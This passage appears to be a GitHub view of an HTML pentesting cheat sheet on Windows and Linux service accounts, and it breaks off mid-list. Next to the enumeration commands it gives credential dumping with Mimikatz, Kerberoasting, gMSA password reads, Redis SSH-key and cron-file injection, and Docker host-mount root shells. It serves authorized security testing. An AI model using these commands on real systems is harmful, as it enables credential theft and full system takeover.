-
Notifications
You must be signed in to change notification settings - Fork 22
Expand file tree
/
Copy pathservice-accounts.html
More file actions
1514 lines (1420 loc) · 67.5 KB
/
service-accounts.html
File metadata and controls
1514 lines (1420 loc) · 67.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Service Accounts Cheatsheet - Pentester Reference</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
:root {
--primary: #2c3e50;
--secondary: #34495e;
--accent: #e74c3c;
--success: #27ae60;
--warning: #f39c12;
--critical: #c0392b;
--bg: #ecf0f1;
--card-bg: #ffffff;
--text: #2c3e50;
--text-light: #7f8c8d;
--border: #bdc3c7;
}
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: var(--bg);
color: var(--text);
line-height: 1.6;
}
.container {
max-width: 1400px;
margin: 0 auto;
padding: 20px;
}
header {
background: linear-gradient(135deg, var(--primary) 0%, var(--secondary) 100%);
color: white;
padding: 30px 20px;
margin-bottom: 30px;
border-radius: 10px;
box-shadow: 0 4px 6px rgba(0,0,0,0.1);
}
header h1 {
font-size: 2.5em;
margin-bottom: 10px;
}
header p {
font-size: 1.1em;
opacity: 0.9;
}
.search-container {
background: var(--card-bg);
padding: 20px;
border-radius: 10px;
margin-bottom: 30px;
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}
.search-box {
width: 100%;
padding: 15px 20px;
font-size: 16px;
border: 2px solid var(--border);
border-radius: 8px;
outline: none;
transition: border-color 0.3s;
}
.search-box:focus {
border-color: var(--accent);
}
.stats {
display: flex;
gap: 20px;
margin-top: 15px;
font-size: 14px;
color: var(--text-light);
}
.category {
background: var(--card-bg);
margin-bottom: 20px;
border-radius: 10px;
overflow: hidden;
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
transition: all 0.3s;
}
.category.hidden {
display: none;
}
.category-header {
background: var(--secondary);
color: white;
padding: 15px 20px;
cursor: pointer;
display: flex;
justify-content: space-between;
align-items: center;
user-select: none;
}
.category-header:hover {
background: var(--primary);
}
.category-header h2 {
font-size: 1.3em;
}
.toggle-icon {
transition: transform 0.3s;
}
.category.collapsed .toggle-icon {
transform: rotate(-90deg);
}
.category-content {
padding: 20px;
max-height: 3000px;
overflow: hidden;
transition: max-height 0.3s ease-out, padding 0.3s;
}
.category.collapsed .category-content {
max-height: 0;
padding: 0 20px;
}
.service-account {
margin-bottom: 25px;
padding: 15px;
border-left: 4px solid var(--accent);
background: #f8f9fa;
border-radius: 5px;
}
.service-account.hidden {
display: none;
}
.account-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 15px;
}
.account-name {
font-size: 1.2em;
font-weight: bold;
color: var(--primary);
font-family: 'Courier New', monospace;
cursor: pointer;
display: inline-flex;
align-items: center;
gap: 10px;
}
.account-name:hover {
color: var(--accent);
}
.privilege-badge {
display: inline-block;
padding: 4px 12px;
border-radius: 12px;
font-size: 0.75em;
font-weight: bold;
text-transform: uppercase;
}
.badge-system {
background: #e74c3c;
color: white;
}
.badge-high {
background: #f39c12;
color: white;
}
.badge-medium {
background: #3498db;
color: white;
}
.badge-low {
background: #95a5a6;
color: white;
}
.account-info {
margin: 10px 0;
}
.info-row {
display: grid;
grid-template-columns: 150px 1fr;
gap: 15px;
padding: 8px;
background: white;
margin: 5px 0;
border-radius: 5px;
}
.info-label {
font-weight: 600;
color: var(--text-light);
}
.info-value {
font-family: 'Courier New', monospace;
color: var(--primary);
}
.description {
background: #e8f4f8;
padding: 12px;
border-radius: 5px;
margin: 10px 0;
border-left: 3px solid #3498db;
}
.security-note {
background: #fff3cd;
border-left: 3px solid var(--warning);
padding: 12px;
border-radius: 5px;
margin: 10px 0;
}
.security-note.critical {
background: #f8d7da;
border-left-color: var(--critical);
}
.permissions-list {
background: white;
padding: 12px;
border-radius: 5px;
margin: 10px 0;
}
.permissions-list ul {
margin-left: 20px;
}
.permissions-list li {
margin: 5px 0;
}
.exploit-techniques {
background: #ffe8e8;
padding: 12px;
border-radius: 5px;
margin: 10px 0;
border-left: 3px solid var(--accent);
}
.exploit-techniques h4 {
color: var(--accent);
margin-bottom: 8px;
}
.code-block {
background: #2c3e50;
color: #ecf0f1;
padding: 12px;
border-radius: 5px;
font-family: 'Courier New', monospace;
font-size: 0.9em;
overflow-x: auto;
margin: 10px 0;
cursor: pointer;
position: relative;
}
.code-block:hover {
background: #34495e;
}
.code-block::after {
content: 'Click to copy';
position: absolute;
right: 10px;
top: 10px;
font-size: 0.8em;
opacity: 0.6;
}
.expand-collapse-all {
display: flex;
gap: 10px;
margin-bottom: 20px;
}
.btn {
padding: 10px 20px;
background: var(--secondary);
color: white;
border: none;
border-radius: 5px;
cursor: pointer;
font-size: 14px;
transition: background 0.3s;
}
.btn:hover {
background: var(--primary);
}
.toast {
position: fixed;
bottom: 20px;
right: 20px;
background: var(--success);
color: white;
padding: 15px 25px;
border-radius: 8px;
box-shadow: 0 4px 6px rgba(0,0,0,0.2);
opacity: 0;
transform: translateY(20px);
transition: all 0.3s;
z-index: 1000;
}
.toast.show {
opacity: 1;
transform: translateY(0);
}
.warning-banner {
background: #fff3cd;
border: 2px solid var(--warning);
padding: 15px 20px;
border-radius: 8px;
margin-bottom: 20px;
display: flex;
align-items: center;
gap: 15px;
}
.warning-icon {
font-size: 24px;
}
.footer {
background: var(--card-bg);
padding: 20px;
border-radius: 10px;
margin-top: 30px;
text-align: center;
color: var(--text-light);
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}
@media (max-width: 768px) {
header h1 {
font-size: 1.8em;
}
.info-row {
grid-template-columns: 1fr;
gap: 5px;
}
.account-header {
flex-direction: column;
align-items: flex-start;
gap: 10px;
}
}
</style>
</head>
<body>
<div class="container">
<header>
<h1>👤 Service Accounts Cheatsheet</h1>
<p>Comprehensive reference for system and service accounts encountered during penetration testing</p>
</header>
<div class="warning-banner">
<span class="warning-icon">⚠️</span>
<div>
<strong>Authorized Testing Only</strong> - This reference is for security assessments with proper authorization.
Unauthorized access to service accounts may violate laws and regulations.
</div>
</div>
<div class="search-container">
<input type="text" id="searchBox" class="search-box" placeholder="🔍 Search by account name, OS, privilege level, or description...">
<div class="stats">
<span id="visibleCount">Loading...</span>
<span>|</span>
<span>Click account names or code blocks to copy</span>
</div>
</div>
<div class="expand-collapse-all">
<button class="btn" onclick="expandAll()">Expand All</button>
<button class="btn" onclick="collapseAll()">Collapse All</button>
</div>
<div id="categories"></div>
<div class="footer">
<p><strong>Last Updated:</strong> 2024 | <strong>Purpose:</strong> Security assessment reference</p>
<p style="margin-top: 10px; font-size: 0.9em;">Always verify account permissions and privileges in the target environment</p>
</div>
</div>
<div id="toast" class="toast"></div>
<script>
const serviceAccounts = [
{
category: "Windows Service Accounts",
icon: "🪟",
accounts: [
{
name: "SYSTEM / LocalSystem / NT AUTHORITY\\SYSTEM",
privilege: "system",
uid: "S-1-5-18",
description: "Most powerful account on Windows. Has unrestricted access to all local resources.",
permissions: [
"Full control over all files and registry",
"Can load device drivers",
"Can act as part of the operating system",
"Can debug programs",
"SeDebugPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege"
],
commonServices: "Task Scheduler, Windows Update, LSA, NTFS, many drivers",
securityNote: "Services running as SYSTEM are prime targets for privilege escalation. Compromising a SYSTEM service = full control.",
critical: true,
techniques: [
"Check for unquoted service paths",
"Weak service permissions (sc qc, accesschk)",
"DLL hijacking opportunities",
"Token impersonation attacks"
],
commands: [
"# Enumerate SYSTEM services",
'wmic service where "startname=\'LocalSystem\'" get name,pathname,startmode',
"",
"# Check service permissions",
'accesschk.exe -ucqv "ServiceName"',
"",
"# Get SYSTEM via service",
'sc.exe create "NewService" binpath="cmd.exe /c whoami > C:\\temp\\proof.txt" start=auto',
'sc.exe start "NewService"'
]
},
{
name: "LOCAL SERVICE / NT AUTHORITY\\LocalService",
privilege: "low",
uid: "S-1-5-19",
description: "Limited local account with privileges similar to anonymous users. Cannot access network resources with credentials.",
permissions: [
"Minimal local privileges",
"Accesses network as anonymous (no credentials)",
"Read access to most system files",
"Cannot write to system directories"
],
commonServices: "Windows Time, DHCP Client, TCP/IP NetBIOS Helper, BFE",
securityNote: "Lower risk but can still be used for lateral reconnaissance. Limited escalation potential.",
techniques: [
"Check for misconfigured file permissions",
"Look for writable scheduled tasks",
"Token impersonation if other tokens available"
],
commands: [
"# Find LocalService services",
'Get-WmiObject win32_service | Where-Object {$_.StartName -eq "NT AUTHORITY\\LocalService"}',
"",
"# Check privileges",
"whoami /priv"
]
},
{
name: "NETWORK SERVICE / NT AUTHORITY\\NetworkService",
privilege: "medium",
uid: "S-1-5-20",
description: "Has significant local privileges and can authenticate to network resources using the computer account credentials.",
permissions: [
"More privileges than LocalService",
"Authenticates to network as MACHINE$",
"Can access network shares with computer account",
"Write access to some system directories"
],
commonServices: "DNS Client, Windows Event Log, IIS Application Pools (default), WinRM",
securityNote: "Can be leveraged for network attacks. Access to computer account credentials enables lateral movement.",
techniques: [
"Kerberos attacks using machine account",
"NTLM relay attacks",
"Service account token impersonation",
"Unconstrained delegation abuse if configured"
],
commands: [
"# Enumerate NetworkService services",
'Get-WmiObject win32_service | Where-Object {$_.StartName -eq "NT AUTHORITY\\NetworkService"}',
"",
"# Get computer account credentials",
"Invoke-Mimikatz -Command '\"sekurlsa::logonpasswords\"'",
"",
"# Check for delegation",
'Get-ADComputer $env:COMPUTERNAME -Properties TrustedForDelegation'
]
},
{
name: "IIS APPPOOL\\{AppPoolName}",
privilege: "medium",
description: "Application pool identity for IIS. Each app pool can have its own isolated identity.",
permissions: [
"Similar to NetworkService by default",
"Access to application directories",
"Can read applicationHost.config",
"Access to IIS configuration and logs"
],
commonServices: "IIS Application Pools (DefaultAppPool, .NET v4.5, etc.)",
securityNote: "Check for stored credentials in web.config, connection strings, and applicationHost.config.",
techniques: [
"Extract credentials from web.config",
"Read applicationHost.config for cleartext passwords",
"Access database connection strings",
"File upload to webroot for RCE"
],
commands: [
"# List app pools and identities",
"%windir%\\system32\\inetsrv\\appcmd.exe list apppools",
"",
"# Read applicationHost.config",
"type %windir%\\system32\\inetsrv\\config\\applicationHost.config",
"",
"# Decrypt passwords",
"%windir%\\system32\\inetsrv\\appcmd.exe list apppool /text:*",
"",
"# Look for credentials",
'findstr /si "password" C:\\inetpub\\*.config'
]
},
{
name: "Virtual Account: NT SERVICE\\{ServiceName}",
privilege: "medium",
description: "Managed local accounts that provide isolated service identity without password management. Introduced in Windows 7/2008 R2.",
permissions: [
"Acts as computer account on network",
"Isolated per-service permissions",
"No password management required",
"Can access network resources as MACHINE$"
],
commonServices: "SQL Server (MSSQLSERVER), MSSQL Agent, various Windows services",
securityNote: "These accounts have access to service-specific resources and can authenticate to network as the machine account.",
techniques: [
"SQL Server exploitation if running as virtual account",
"Service-specific credential theft",
"Network authentication as machine account"
],
commands: [
"# Enumerate virtual service accounts",
'Get-WmiObject win32_service | Where-Object {$_.StartName -like "NT SERVICE\\*"}',
"",
"# Check SQL Server service account",
'Get-Service MSSQLSERVER | Select-Object Name, StartType, Status'
]
},
{
name: "Domain Service Accounts",
privilege: "high",
description: "Domain accounts used to run services. Often have SPNs (Service Principal Names) registered and may have elevated privileges.",
permissions: [
"Domain user privileges minimum",
"Often granted excessive permissions",
"May have 'Log on as a service' right",
"Access to network resources with domain credentials"
],
commonServices: "SQL Server, IIS, custom applications, scheduled tasks",
securityNote: "Prime targets for Kerberoasting attacks. Often configured with weak passwords and excessive privileges.",
critical: true,
techniques: [
"Kerberoasting (request service tickets and crack offline)",
"Credential dumping if compromised",
"SPN scanning for discovery",
"Check for delegation configurations (unconstrained/constrained)"
],
commands: [
"# Find service accounts with SPNs",
'Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName',
"",
"# Kerberoasting with Rubeus",
'Rubeus.exe kerberoast /outfile:hashes.txt',
"",
"# Kerberoasting with Impacket",
'GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request',
"",
"# Find delegation",
'Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation'
]
},
{
name: "gMSA (Group Managed Service Account)",
privilege: "high",
description: "Automatically managed service accounts with 240-character passwords that rotate automatically. Introduced in Windows Server 2012.",
permissions: [
"Domain account with managed credentials",
"No manual password management",
"Can be used across multiple servers",
"Password automatically rotated"
],
commonServices: "Enterprise services requiring high security",
securityNote: "More secure than traditional service accounts but can still be extracted if you compromise an authorized host.",
techniques: [
"Extract gMSA password from authorized host",
"Read msDS-ManagedPassword attribute",
"Check gMSA group membership for authorized hosts"
],
commands: [
"# Find gMSA accounts",
'Get-ADServiceAccount -Filter * -Properties *',
"",
"# Get gMSA password (requires authorized host)",
'Get-ADServiceAccount -Identity gmsaAccount -Properties msDS-ManagedPassword',
"",
"# Extract gMSA credentials with DSInternals",
'$mp = Get-ADServiceAccount -Identity gmsaAccount -Properties msDS-ManagedPassword',
'$mp."msDS-ManagedPassword"'
]
}
]
},
{
category: "Linux Service Accounts",
icon: "🐧",
accounts: [
{
name: "root",
privilege: "system",
uid: "0",
gid: "0",
description: "Superuser account with complete control over the system. UID 0 is root regardless of name.",
permissions: [
"Unrestricted access to all files and commands",
"Can change any file ownership and permissions",
"Can load kernel modules",
"Can bind to privileged ports (<1024)",
"Full system control"
],
commonServices: "Critical system services, SSH (initial), init/systemd",
securityNote: "Ultimate privilege escalation target. Any path to root = full system compromise.",
critical: true,
techniques: [
"SUID binary exploitation",
"Kernel exploits",
"Sudo misconfigurations",
"Cron job hijacking",
"Capabilities abuse"
],
commands: [
"# Check if running as root",
"id",
"whoami",
"",
"# Find SUID root binaries",
"find / -perm -4000 -user root 2>/dev/null",
"",
"# Check sudo permissions",
"sudo -l",
"",
"# Check capabilities",
"getcap -r / 2>/dev/null"
]
},
{
name: "www-data",
privilege: "low",
uid: "33",
gid: "33",
description: "Default web server user for Apache and Nginx on Debian/Ubuntu systems. Runs web applications.",
permissions: [
"Read/write access to /var/www (typically)",
"Execute permissions for web scripts",
"Limited system access",
"Cannot bind to privileged ports directly"
],
commonServices: "Apache2, Nginx, PHP-FPM on Debian/Ubuntu",
securityNote: "Common initial foothold via web application exploits. Check for sudo rights, writable cron jobs, and SUID binaries.",
techniques: [
"Web shell upload and execution",
"Check sudo -l for escalation paths",
"Look for writable systemd service files",
"Search for credentials in web app configs",
"Enumerate database connection strings"
],
commands: [
"# Common paths for www-data",
"ls -la /var/www/html",
"",
"# Find writable files",
"find /var/www -writable 2>/dev/null",
"",
"# Check for database credentials",
"grep -r 'password' /var/www/*/config* 2>/dev/null",
"",
"# Look for SSH keys",
"find /var/www -name 'id_rsa' -o -name 'id_ed25519' 2>/dev/null"
]
},
{
name: "apache / httpd",
privilege: "low",
uid: "48 (RHEL/CentOS)",
gid: "48",
description: "Web server user on RHEL/CentOS/Fedora systems. Equivalent to www-data on Debian systems.",
permissions: [
"Read/write to /var/www/html",
"Execute web scripts",
"Access to Apache configuration (read)",
"Limited system privileges"
],
commonServices: "Apache HTTP Server on RHEL/CentOS",
securityNote: "Similar attack surface to www-data. Often has access to application secrets and database credentials.",
techniques: [
"Same as www-data",
"Check SELinux context for additional restrictions",
"Look for httpd config files with credentials"
],
commands: [
"# Check Apache user",
"ps aux | grep httpd | head -1",
"",
"# Read Apache config",
"cat /etc/httpd/conf/httpd.conf",
"",
"# Find web application credentials",
"grep -r 'password\\|passwd\\|pwd' /var/www 2>/dev/null"
]
},
{
name: "nginx",
privilege: "low",
uid: "Varies (often 33 or 101)",
gid: "Varies",
description: "Nginx web server user. Often the same as www-data on some distributions.",
permissions: [
"Read access to web content",
"Write access to upload directories if configured",
"Execute PHP/application code",
"Access to nginx configuration files"
],
commonServices: "Nginx web server",
securityNote: "Check nginx configuration for upstream servers, proxy configurations, and authentication mechanisms.",
techniques: [
"Upload web shells to writable directories",
"Extract credentials from config files",
"Exploit misconfigured proxy settings",
"Access backend services via SSRF"
],
commands: [
"# Check nginx config",
"cat /etc/nginx/nginx.conf",
"cat /etc/nginx/sites-enabled/*",
"",
"# Find writable locations",
"find /var/www -type d -writable 2>/dev/null"
]
},
{
name: "mysql",
privilege: "medium",
uid: "Varies",
gid: "Varies",
description: "MySQL/MariaDB database server account. Has access to database files and configurations.",
permissions: [
"Full access to /var/lib/mysql",
"Read access to my.cnf configuration",
"Can read database files directly",
"May have file permissions for LOAD DATA INFILE"
],
commonServices: "MySQL Server, MariaDB Server",
securityNote: "Can read database files directly from filesystem. Check for UDF exploits and file read capabilities.",
techniques: [
"Direct database file access",
"UDF (User Defined Function) privilege escalation",
"Read mysql.user table for password hashes",
"Exploit LOAD DATA INFILE for file read",
"Check for mysql running as root (misconfiguration)"
],
commands: [
"# Read MySQL config",
"cat /etc/mysql/my.cnf",
"cat /etc/my.cnf",
"",
"# Access database files",
"ls -la /var/lib/mysql/",
"",
"# Check MySQL process owner",
"ps aux | grep mysqld"
]
},
{
name: "postgres",
privilege: "medium",
uid: "Varies",
gid: "Varies",
description: "PostgreSQL database server account with access to all database files and configurations.",
permissions: [
"Full access to /var/lib/postgresql",
"Read/write database files",
"Access to pg_hba.conf and postgresql.conf",
"May have COPY TO/FROM FILE permissions"
],
commonServices: "PostgreSQL Server",
securityNote: "Can read/write arbitrary files with COPY if configured. Check for CVE exploits and misconfigurations.",
techniques: [
"File read/write via COPY TO/FROM",
"Code execution via PostgreSQL extensions",
"Read pg_hba.conf for authentication settings",
"Dump database credentials and hashes"
],
commands: [
"# Read PostgreSQL config",
"cat /etc/postgresql/*/main/postgresql.conf",
"cat /etc/postgresql/*/main/pg_hba.conf",
"",
"# Access data directory",
"ls -la /var/lib/postgresql/"
]
},
{
name: "redis",
privilege: "medium",
uid: "Varies",
gid: "Varies",
description: "Redis database server account. Often misconfigured with no authentication.",
permissions: [
"Access to /var/lib/redis",
"Read/write RDB and AOF files",
"May have network access",
"Access to redis.conf"
],
commonServices: "Redis Server",
securityNote: "Frequently exposed without authentication. Can write files via Redis commands for RCE.",
critical: true,
techniques: [
"Unauthenticated access exploitation",
"Cron job creation via CONFIG SET",
"SSH key injection",
"Write web shell to webroot",
"Master/slave replication for RCE"
],
commands: [
"# Connect to Redis",
"redis-cli -h 127.0.0.1",
"",
"# Write SSH key",
"redis-cli flushall",
"cat id_rsa.pub | redis-cli -x set crackit",
"redis-cli config set dir /home/user/.ssh/",
"redis-cli config set dbfilename authorized_keys",
"redis-cli save",
"",
"# Write cron job",
"redis-cli config set dir /var/spool/cron/",
"redis-cli config set dbfilename root",
"redis-cli save"
]
},
{
name: "mongodb",
privilege: "medium",
uid: "Varies",
gid: "Varies",
description: "MongoDB database server account. Often runs without authentication by default.",
permissions: [
"Access to /var/lib/mongodb",
"Read/write database files",
"Network access if exposed",
"Access to mongod.conf"
],
commonServices: "MongoDB Server",
securityNote: "Frequently deployed without authentication. Check for exposed instances and data extraction opportunities.",
techniques: [
"Unauthenticated database access",
"Data exfiltration",
"JavaScript execution in queries",
"Check for CVEs (e.g., CVE-2015-1609)"
],
commands: [
"# Connect to MongoDB",
"mongo",
"",
"# List databases",
"show dbs",
"",
"# Check authentication",
"cat /etc/mongod.conf | grep auth"
]
},
{
name: "docker",
privilege: "system",
uid: "Varies",
gid: "Varies",
description: "Docker daemon user. Members of the docker group have effective root access.",
permissions: [
"Full access to Docker socket",
"Can create privileged containers",
"Mount host filesystem in containers",
"Effective root via container escape"
],
commonServices: "Docker daemon",
securityNote: "Docker group membership = root. Can mount host filesystem or run privileged containers for full system access.",
critical: true,
techniques: [
"Mount host root filesystem in container",
"Create privileged container",
"Access Docker socket for container escape",
"Deploy malicious images"
],
commands: [
"# Check docker group membership",
"groups",
"id",
"",
"# Mount host filesystem and get root shell",
"docker run -v /:/mnt --rm -it alpine chroot /mnt sh",
"",
"# Privileged container escape",
"docker run --rm -it --privileged --net=host --pid=host --ipc=host alpine",
"",
"# Access host via docker exec",
"docker run -v /:/hostfs -it ubuntu bash"
]
},
{
name: "systemd-network",
privilege: "low",
uid: "Varies",
gid: "Varies",
description: "systemd network management daemon user. Manages network configuration.",
permissions: [
"Configure network interfaces",
"Read network configuration",
"Limited system access"
],
commonServices: "systemd-networkd",
securityNote: "Limited attack surface but may have access to network credentials or VPN configurations.",
techniques: [
"Access to network configs",
"VPN credential extraction",
"Network eavesdropping if capabilities allow"
],
commands: [
"# Check network configs",
"ls -la /etc/systemd/network/",
"",
"# View networkd status",
"networkctl status"
]
},
{
name: "systemd-timesync",
privilege: "low",
uid: "Varies",
gid: "Varies",
description: "systemd time synchronization daemon. Very limited privileges.",
permissions: [
"Synchronize system time",
"Minimal system access"
],
commonServices: "systemd-timesyncd",
securityNote: "Very limited attack surface. Rarely useful for privilege escalation.",
techniques: ["Time manipulation attacks (very limited use cases)"],
commands: ["timedatectl status"]
},
{
name: "nobody / nogroup",
privilege: "low",
uid: "65534",
gid: "65534",
description: "Minimal privilege account used for services that need no special permissions.",
permissions: [
"Minimal permissions",
"Cannot write to most directories",
"Used for untrusted operations"
],
commonServices: "Various minimal-privilege services",
securityNote: "Least privileged account. Limited escalation opportunities.",